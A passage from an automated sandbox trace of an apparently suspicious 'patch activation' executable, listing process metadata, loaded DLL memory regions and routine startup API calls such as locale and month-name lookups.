15 os_tid = 0xb5c [0255.828] GetCurrentProcess () returned 0xffffffff [0255.848] GetCurrentProcess () returned 0xffffffff Thread: id = 16 os_tid = 0x8ec Thread: id = 17 os_tid = 0x8e8 Thread: id = 18 os_tid = 0xa28 Thread: id = 19 os_tid = 0xac4 Thread: id = 20 os_tid = 0xac0 Process: id = "3" image_name = "a1photo-&-art-enhancer_search&patch_activation.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe" page_root = "0x32208000" os_pid = "0xaa4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa50" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 524 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 525 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 526 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 527 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 528 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 529 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 530 start_va = 0x1a0000 end_va = 0x1a2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 531 start_va = 0x400000 end_va = 0x421fff monitored = 1 entry_point = 0x40aad0 region_type = mapped_file name = "a1photo-&-art-enhancer_search&patch_activation.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe") Region: id = 532 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 533 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 534 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 535 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 536 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 537 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 538 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 539 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 540 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 541 start_va = 0x1b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 542 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 543 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 544 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 545 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 546 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 548 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 549 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 550 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 551 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 552 start_va = 0x430000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 553 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 554 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 555 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 556 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 557 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 558 start_va = 0x1b0000 end_va = 0x216fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 559 start_va = 0x340000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 560 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 561 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 562 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 563 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 564 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 575 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 576 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 577 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 580 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 581 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 589 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 593 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 594 start_va = 0x73a90000 end_va = 0x73c2dfff monitored = 0 entry_point = 0x73abe6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 601 start_va = 0x751c0000 end_va = 0x75216fff monitored = 0 entry_point = 0x751d9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 602 start_va = 0x220000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 603 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 604 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 605 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 606 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 607 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 608 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 609 start_va = 0x6c0000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 610 start_va = 0x850000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 611 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 612 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 613 start_va = 0x220000 end_va = 0x220fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 614 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 615 start_va = 0x230000 end_va = 0x231fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 616 start_va = 0x1c50000 end_va = 0x1d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c50000" filename = "" Region: id = 617 start_va = 0x75be0000 end_va = 0x76829fff monitored = 0 entry_point = 0x75c61601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 620 start_va = 0x1d50000 end_va = 0x1e0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 755 start_va = 0x220000 end_va = 0x220fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Region: id = 876 start_va = 0x240000 end_va = 0x26ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\netmsg.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\netmsg.dll.mui") Region: id = 879 start_va = 0x1e10000 end_va = 0x2013fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 881 start_va = 0x1e10000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 882 start_va = 0x1f10000 end_va = 0x2113fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 886 start_va = 0x1e10000 end_va = 0x20defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 887 start_va = 0x73a10000 end_va = 0x73a8ffff monitored = 0 entry_point = 0x73a237c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 888 start_va = 0x20e0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 890 start_va = 0x21e0000 end_va = 0x22befff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021e0000" filename = "" Region: id = 891 start_va = 0x739f0000 end_va = 0x73a02fff monitored = 0 entry_point = 0x739f1d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Thread: id = 11 os_tid = 0xa88 [0242.554] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0242.554] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0242.554] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0242.554] GetVersion () returned 0x1db10106 [0242.554] GetProcAddress (hModule=0x752b0000, lpProcName="SetDefaultDllDirectories") returned 0x753d208a [0242.554] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0242.555] GetProcAddress (hModule=0x752b0000, lpProcName="SetSearchPathMode") returned 0x7534072b [0242.559] SetSearchPathMode (Flags=0x8001) returned 1 [0242.559] GetProcAddress (hModule=0x752b0000, lpProcName="SetProcessDEPPolicy") returned 0x752deb6a [0242.559] SetProcessDEPPolicy (dwFlags=0x1) returned 0 [0242.560] InitCommonControls () [0242.560] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x5d5220 [0242.560] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1c50000 [0242.561] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x5d6220 [0242.561] VirtualAlloc (lpAddress=0x1c50000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c50000 [0242.561] LoadStringA (in: hInstance=0x400000, uID=0xff87, lpBuffer=0x18fadc, cchBufferMax=1024 | out: lpBuffer="Out of memory") returned 0xd [0242.561] GetSystemDefaultLCID () returned 0x409 [0242.562] LoadStringA (in: hInstance=0x400000, uID=0xffc0, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Jan") returned 0x3 [0242.562] GetLocaleInfoA (in: Locale=0x409, LCType=0x44, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Jan") returned 4 [0242.581] LoadStringA (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="January") returned 0x7 [0242.581] GetLocaleInfoA (in: Locale=0x409, LCType=0x38, lpLCData=0x18fde4, cchData=256 | out: lpLCData="January") returned 8 [0242.581] LoadStringA (in: hInstance=0x400000, uID=0xffc1, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Feb") returned 0x3 [0242.581] GetLocaleInfoA (in: Locale=0x409, LCType=0x45, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Feb") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="February") returned 0x8 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x39, lpLCData=0x18fde4, cchData=256 | out: lpLCData="February") returned 9 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffc2, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Mar") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Mar") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="March") returned 0x5 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fde4, cchData=256 | out: lpLCData="March") returned 6 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffc3, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Apr") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Apr") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="April") returned 0x5 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fde4, cchData=256 | out: lpLCData="April") returned 6 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffc4, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="May") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x18fde4, cchData=256 | out: lpLCData="May") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="May") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fde4, cchData=256 | out: lpLCData="May") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffc5, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Jun") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Jun") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="June") returned 0x4 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fde4, cchData=256 | out: lpLCData="June") returned 5 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffc6, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Jul") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Jul") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="July") returned 0x4 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fde4, cchData=256 | out: lpLCData="July") returned 5 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffc7, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Aug") returned 0x3 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Aug") returned 4 [0242.582] LoadStringA (in: hInstance=0x400000, uID=0xffd7, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="August") returned 0x6 [0242.582] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fde4, cchData=256 | out: lpLCData="August") returned 7 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffc8, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Sep") returned 0x3 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Sep") returned 4 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffd8, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="September") returned 0x9 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x18fde4, cchData=256 | out: lpLCData="September") returned 10 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffc9, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Oct") returned 0x3 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Oct") returned 4 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffd9, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="October") returned 0x7 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x18fde4, cchData=256 | out: lpLCData="October") returned 8 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffca, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Nov") returned 0x3 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Nov") returned 4 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffda, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="November") returned 0x8 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x18fde4, cchData=256 | out: lpLCData="November") returned 9 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffcb, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Dec") returned 0x3 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Dec") returned 4 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffdb, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="December") returned 0x8 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x18fde4, cchData=256 | out: lpLCData="December") returned 9 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Sun") returned 0x3 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Sun") returned 4 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffe7, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Sunday") returned 0x6 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Sunday") returned 7 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffe1, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Mon") returned 0x3 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Mon") returned 4 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffe8, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Monday") returned 0x6 [0242.583] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Monday") returned 7 [0242.583] LoadStringA (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Tue") returned 0x3 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Tue") returned 4 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffe9, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Tuesday") returned 0x7 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Tuesday") returned 8 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Wed") returned 0x3 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Wed") returned 4 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Wednesday") returned 0x9 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Wednesday") returned 10 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Thu") returned 0x3 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Thu") returned 4 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffeb, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Thursday") returned 0x8 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Thursday") returned 9 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Fri") returned 0x3 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Fri") returned 4 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffec, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Friday") returned 0x6 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Friday") returned 7 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffe6, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Sat") returned 0x3 